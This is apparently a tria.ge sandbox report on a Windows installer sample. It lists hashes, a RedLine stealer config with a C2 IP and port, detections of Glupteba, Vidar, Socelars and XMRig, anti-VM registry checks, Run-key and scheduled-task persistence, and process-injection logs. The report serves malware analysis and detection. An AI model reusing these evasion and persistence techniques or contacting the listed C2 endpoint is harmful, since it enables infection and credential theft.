Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
09/09/2021, 17:41
210909-v9lgtabfhq 1009/09/2021, 04:26
210909-e21nrsfee3 1008/09/2021, 21:37
210908-1gnpcsfbc9 1008/09/2021, 21:29
210908-1bx1vafbc5 1008/09/2021, 13:52
210908-q6fd6shgdj 1007/09/2021, 18:07
210907-wqa3eagcgr 10Analysis
-
max time kernel
467s -
max time network
470s -
platform
windows11_x64 -
resource
win11 -
submitted
08/09/2021, 21:29
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install.exe
Resource
win7-en
Behavioral task
behavioral2
Sample
setup_x86_x64_install.exe
Resource
win11
Behavioral task
behavioral3
Sample
setup_x86_x64_install.exe
Resource
win10v20210408
Behavioral task
behavioral4
Sample
setup_x86_x64_install.exe
Resource
win10-jp
Behavioral task
behavioral5
Sample
setup_x86_x64_install.exe
Resource
win10-en
Behavioral task
behavioral6
Sample
setup_x86_x64_install.exe
Resource
win10-de
Errors
General
-
Target
setup_x86_x64_install.exe
-
Size
2.9MB
-
MD5
3f1f81101d0ce95fdfac97f5913cd662
-
SHA1
8e615a64e4d72b08926242b7d73a608bdd7e9fce
-
SHA256
90aa6a7c770f2c0f49596731c80fda7d044802dea9e905ff999b39cda5428407
-
SHA512
a776c1f8636ef90d294becf8d09a45366463364026837c19e13227c1c5c9a6656b6fa525e0eec5a1a46997b6ef7066e958c02523a7c4538d046f8b2091145285
Malware Config
Extracted
redline
Jayson
95.181.172.207:56915
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba Payload 1 IoCs
resource yara_rule behavioral2/memory/6020-560-0x0000000002E10000-0x000000000372E000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5604 4908 rundll32.exe 18 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5852 4908 rundll32.exe 18 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 18 IoCs
resource yara_rule behavioral2/memory/4292-244-0x0000000000000000-mapping.dmp family_redline behavioral2/memory/4292-245-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral2/memory/3092-275-0x0000000000000000-mapping.dmp family_redline behavioral2/memory/3092-289-0x0000000005700000-0x0000000005D18000-memory.dmp family_redline behavioral2/memory/1444-291-0x0000000000000000-mapping.dmp family_redline behavioral2/memory/1444-304-0x00000000055A0000-0x0000000005BB8000-memory.dmp family_redline behavioral2/memory/4060-305-0x0000000000000000-mapping.dmp family_redline behavioral2/memory/4972-319-0x0000000000000000-mapping.dmp family_redline behavioral2/memory/4780-340-0x0000000000000000-mapping.dmp family_redline behavioral2/memory/2896-380-0x0000000000000000-mapping.dmp family_redline behavioral2/memory/3936-435-0x0000000000000000-mapping.dmp family_redline behavioral2/memory/5164-467-0x0000000000000000-mapping.dmp family_redline behavioral2/memory/5624-507-0x0000000000000000-mapping.dmp family_redline behavioral2/memory/2472-533-0x0000000000000000-mapping.dmp family_redline behavioral2/memory/4732-564-0x0000000000000000-mapping.dmp family_redline behavioral2/memory/2112-600-0x0000000000000000-mapping.dmp family_redline behavioral2/memory/3436-658-0x0000000004DE0000-0x00000000053F8000-memory.dmp family_redline behavioral2/memory/2936-701-0x00000000057D0000-0x0000000005DE8000-memory.dmp family_redline -
Socelars Payload 2 IoCs
resource yara_rule behavioral2/files/0x000100000002b1b9-187.dat family_socelars behavioral2/files/0x000100000002b1b9-201.dat family_socelars -
Suspicious use of NtCreateProcessExOtherParentProcess 21 IoCs
description pid Process procid_target PID 1180 created 1016 1180 WerFault.exe 98 PID 4424 created 4632 4424 WerFault.exe 103 PID 5044 created 4588 5044 WerFault.exe 102 PID 2892 created 4728 2892 WerFault.exe 79 PID 1640 created 4780 1640 WerFault.exe 122 PID 3268 created 1148 3268 WerFault.exe 95 PID 5572 created 2892 5572 WerFault.exe 137 PID 5812 created 5660 5812 WerFault.exe 155 PID 5892 created 4028 5892 WerFault.exe 139 PID 3548 created 3560 3548 WerFault.exe 123 PID 936 created 6020 936 WerFault.exe 162 PID 5552 created 3488 5552 WerFault.exe 179 PID 6140 created 4896 6140 WerFault.exe 143 PID 5848 created 5588 5848 WerFault.exe 153 PID 4544 created 1204 4544 WerFault.exe 174 PID 5960 created 5980 5960 WerFault.exe 203 PID 5908 created 5888 5908 WerFault.exe 236 PID 1432 created 4344 1432 WerFault.exe 259 PID 1436 created 4304 1436 WerFault.exe 290 PID 4548 created 5228 4548 WerFault.exe 304 PID 3780 created 5184 3780 WerFault.exe 337 -
resource yara_rule behavioral2/files/0x000100000002b1bd-182.dat redline behavioral2/files/0x000100000002b1bd-200.dat redline behavioral2/files/0x000100000002b1bd-246.dat redline behavioral2/files/0x000100000002b1bd-277.dat redline behavioral2/files/0x000100000002b1bd-293.dat redline behavioral2/files/0x000100000002b1bd-307.dat redline behavioral2/files/0x000100000002b1bd-321.dat redline behavioral2/files/0x000100000002b1bd-333.dat redline behavioral2/files/0x000100000002b1bd-344.dat redline behavioral2/files/0x000100000002b1bd-383.dat redline -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
resource yara_rule behavioral2/memory/4632-233-0x00000000048B0000-0x0000000004981000-memory.dmp family_vidar behavioral2/memory/2892-472-0x0000000004920000-0x00000000049F1000-memory.dmp family_vidar -
XMRig Miner Payload 1 IoCs
resource yara_rule behavioral2/memory/4144-772-0x0000000140000000-0x0000000140763000-memory.dmp xmrig -
resource yara_rule behavioral2/files/0x000200000002b1ac-154.dat aspack_v212_v242 behavioral2/files/0x000200000002b1ac-155.dat aspack_v212_v242 behavioral2/files/0x000100000002b1b1-153.dat aspack_v212_v242 behavioral2/files/0x000100000002b1b1-160.dat aspack_v212_v242 behavioral2/files/0x000100000002b1b3-161.dat aspack_v212_v242 behavioral2/files/0x000100000002b1b3-162.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 64 IoCs
pid Process 4812 setup_installer.exe 4728 setup_install.exe 3196 Tue11141271fbe5877f.exe 1016 Tue11bc0507b56295.exe 8 Tue11f251db82fb7b.exe 936 Tue11d7385a978cc.exe 452 Tue11e4e580f2e8141a3.exe 1148 Tue118f55232e4.exe 1072 Tue11b9d76a96506.exe 4588 Tue1109eec571ac.exe 4632 Tue112c483dd3245d.exe 4620 Tue11b9d76a96506.tmp 4292 Tue11e4e580f2e8141a3.exe 3092 Tue11e4e580f2e8141a3.exe 1444 Tue11e4e580f2e8141a3.exe 4060 Tue11e4e580f2e8141a3.exe 4972 Tue11e4e580f2e8141a3.exe 1456 Tue11e4e580f2e8141a3.exe 3560 3402997.exe 5044 4644938.exe 4780 Tue11e4e580f2e8141a3.exe 3172 WinHoster.exe 4788 802260.exe 2992 LzmwAqmV.exe 2896 Tue11e4e580f2e8141a3.exe 1456 Chrome 5.exe 1072 PublicDwlBrowser1100.exe 2892 Alfanewfile2.exe 4692 2.exe 3256 7383144.exe 4028 setup.exe 4900 setup_2.exe 4896 8470279.exe 3936 Tue11e4e580f2e8141a3.exe 1532 3002.exe 5136 setup_2.tmp 5256 jhuuee.exe 5316 setup_2.exe 5388 BearVpn 3.exe 5472 setup_2.tmp 5164 Tue11e4e580f2e8141a3.exe 5588 1562203.exe 5752 3002.exe 5768 6360626.exe 6020 LzmwAqmV.exe 5624 Tue11e4e580f2e8141a3.exe 1840 2129644.exe 2472 Tue11e4e580f2e8141a3.exe 3176 5899289.exe 1204 1580734.exe 4732 Tue11e4e580f2e8141a3.exe 2112 Tue11e4e580f2e8141a3.exe 5456 Tue11e4e580f2e8141a3.exe 3436 Tue11e4e580f2e8141a3.exe 3168 Tue11e4e580f2e8141a3.exe 4112 services64.exe 3420 Tue11e4e580f2e8141a3.exe 1332 Tue11e4e580f2e8141a3.exe 980 Tue11e4e580f2e8141a3.exe 2936 Tue11e4e580f2e8141a3.exe 4408 Tue11e4e580f2e8141a3.exe 876 Tue11e4e580f2e8141a3.exe 5980 Tue11e4e580f2e8141a3.exe 2844 Tue11e4e580f2e8141a3.exe -
Checks BIOS information in registry 2 TTPs 8 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 5899289.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 5899289.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 802260.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 802260.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 7383144.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 7383144.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 2129644.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 2129644.exe -
Loads dropped DLL 11 IoCs
pid Process 4728 setup_install.exe 4728 setup_install.exe 4728 setup_install.exe 4728 setup_install.exe 4728 setup_install.exe 4728 setup_install.exe 4620 Tue11b9d76a96506.tmp 5136 setup_2.tmp 5472 setup_2.tmp 5660 rundll32.exe 3488 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral2/files/0x000400000002b1d6-370.dat themida behavioral2/files/0x000400000002b1d6-378.dat themida behavioral2/files/0x000300000002b1dc-427.dat themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 4644938.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 802260.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 7383144.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 2129644.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 5899289.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 35 ip-api.com -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3256 7383144.exe 3176 5899289.exe -
Suspicious use of SetThreadContext 64 IoCs
description pid Process procid_target PID 452 set thread context of 4292 452 Tue11e4e580f2e8141a3.exe 106 PID 452 set thread context of 3092 452 Tue11e4e580f2e8141a3.exe 114 PID 452 set thread context of 1444 452 Tue11e4e580f2e8141a3.exe 115 PID 452 set thread context of 4060 452 Tue11e4e580f2e8141a3.exe 117 PID 452 set thread context of 4972 452 Tue11e4e580f2e8141a3.exe 120 PID 452 set thread context of 4780 452 Tue11e4e580f2e8141a3.exe 122 PID 452 set thread context of 2896 452 Tue11e4e580f2e8141a3.exe 125 PID 452 set thread context of 3936 452 Tue11e4e580f2e8141a3.exe 134 PID 452 set thread context of 5164 452 Tue11e4e580f2e8141a3.exe 146 PID 452 set thread context of 5624 452 Tue11e4e580f2e8141a3.exe 154 PID 452 set thread context of 2472 452 Tue11e4e580f2e8141a3.exe 166 PID 452 set thread context of 4732 452 Tue11e4e580f2e8141a3.exe 171 PID 452 set thread context of 2112 452 Tue11e4e580f2e8141a3.exe 177 PID 452 set thread context of 5456 452 Tue11e4e580f2e8141a3.exe 182 PID 452 set thread context of 3436 452 Tue11e4e580f2e8141a3.exe 185 PID 452 set thread context of 3168 452 Tue11e4e580f2e8141a3.exe 188 PID 452 set thread context of 980 452 Tue11e4e580f2e8141a3.exe 197 PID 452 set thread context of 2936 452 Tue11e4e580f2e8141a3.exe 198 PID 452 set thread context of 4408 452 Tue11e4e580f2e8141a3.exe 199 PID 452 set thread context of 876 452 Tue11e4e580f2e8141a3.exe 200 PID 452 set thread context of 5980 452 Tue11e4e580f2e8141a3.exe 203 PID 452 set thread context of 2288 452 Tue11e4e580f2e8141a3.exe 208 PID 452 set thread context of 4984 452 Tue11e4e580f2e8141a3.exe 209 PID 4112 set thread context of 4144 4112 services64.exe 219 PID 452 set thread context of 2892 452 Tue11e4e580f2e8141a3.exe 214 PID 452 set thread context of 1488 452 Tue11e4e580f2e8141a3.exe 220 PID 452 set thread context of 3240 452 Tue11e4e580f2e8141a3.exe 221 PID 452 set thread context of 4512 452 Tue11e4e580f2e8141a3.exe 223 PID 452 set thread context of 5576 452 Tue11e4e580f2e8141a3.exe 224 PID 452 set thread context of 5004 452 Tue11e4e580f2e8141a3.exe 226 PID 452 set thread context of 5472 452 Tue11e4e580f2e8141a3.exe 227 PID 452 set thread context of 5860 452 Tue11e4e580f2e8141a3.exe 228 PID 452 set thread context of 776 452 Tue11e4e580f2e8141a3.exe 229 PID 452 set thread context of 404 452 Tue11e4e580f2e8141a3.exe 230 PID 452 set thread context of 3496 452 Tue11e4e580f2e8141a3.exe 231 PID 452 set thread context of 5328 452 Tue11e4e580f2e8141a3.exe 232 PID 452 set thread context of 5568 452 Tue11e4e580f2e8141a3.exe 233 PID 452 set thread context of 3548 452 Tue11e4e580f2e8141a3.exe 234 PID 452 set thread context of 5092 452 Tue11e4e580f2e8141a3.exe 235 PID 452 set thread context of 5888 452 Tue11e4e580f2e8141a3.exe 236 PID 452 set thread context of 5868 452 Tue11e4e580f2e8141a3.exe 238 PID 452 set thread context of 3912 452 Tue11e4e580f2e8141a3.exe 242 PID 452 set thread context of 2876 452 Tue11e4e580f2e8141a3.exe 243 PID 452 set thread context of 228 452 Tue11e4e580f2e8141a3.exe 244 PID 452 set thread context of 3264 452 Tue11e4e580f2e8141a3.exe 245 PID 452 set thread context of 2928 452 Tue11e4e580f2e8141a3.exe 246 PID 452 set thread context of 5372 452 Tue11e4e580f2e8141a3.exe 247 PID 452 set thread context of 4268 452 Tue11e4e580f2e8141a3.exe 248 PID 452 set thread context of 5368 452 Tue11e4e580f2e8141a3.exe 249 PID 452 set thread context of 5208 452 Tue11e4e580f2e8141a3.exe 250 PID 452 set thread context of 2792 452 Tue11e4e580f2e8141a3.exe 252 PID 452 set thread context of 800 452 Tue11e4e580f2e8141a3.exe 253 PID 452 set thread context of 5400 452 Tue11e4e580f2e8141a3.exe 255 PID 452 set thread context of 4528 452 Tue11e4e580f2e8141a3.exe 256 PID 452 set thread context of 3952 452 Tue11e4e580f2e8141a3.exe 257 PID 452 set thread context of 5140 452 Tue11e4e580f2e8141a3.exe 258 PID 452 set thread context of 4344 452 Tue11e4e580f2e8141a3.exe 259 PID 452 set thread context of 1208 452 Tue11e4e580f2e8141a3.exe 260 PID 452 set thread context of 3948 452 Tue11e4e580f2e8141a3.exe 263 PID 452 set thread context of 2548 452 Tue11e4e580f2e8141a3.exe 266 PID 452 set thread context of 5564 452 Tue11e4e580f2e8141a3.exe 267 PID 452 set thread context of 444 452 Tue11e4e580f2e8141a3.exe 268 PID 452 set thread context of 5656 452 Tue11e4e580f2e8141a3.exe 269 PID 452 set thread context of 4872 452 Tue11e4e580f2e8141a3.exe 271 -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup_2.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-T48TA.tmp setup_2.tmp File opened for modification C:\Program Files (x86)\FarLabUninstaller\unins000.dat setup_2.tmp -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 21 IoCs
pid pid_target Process procid_target 4672 1016 WerFault.exe 98 1848 4632 WerFault.exe 103 3532 4588 WerFault.exe 102 4304 4728 WerFault.exe 79 4808 4780 WerFault.exe 122 560 1148 WerFault.exe 95 6068 4028 WerFault.exe 139 5964 5660 WerFault.exe 155 5844 2892 WerFault.exe 137 2528 3560 WerFault.exe 123 5676 6020 WerFault.exe 162 4056 3488 WerFault.exe 179 1452 4896 WerFault.exe 143 5968 5588 WerFault.exe 153 3592 1204 WerFault.exe 174 6100 5980 WerFault.exe 203 1432 5888 WerFault.exe 236 4948 4344 WerFault.exe 259 2528 4304 WerFault.exe 290 2852 5228 WerFault.exe 304 5548 5184 WerFault.exe 337 -
Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4020 schtasks.exe 4868 schtasks.exe -
Enumerates system info in registry 2 TTPs 42 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe -
Modifies data under HKEY_USERS 58 IoCs
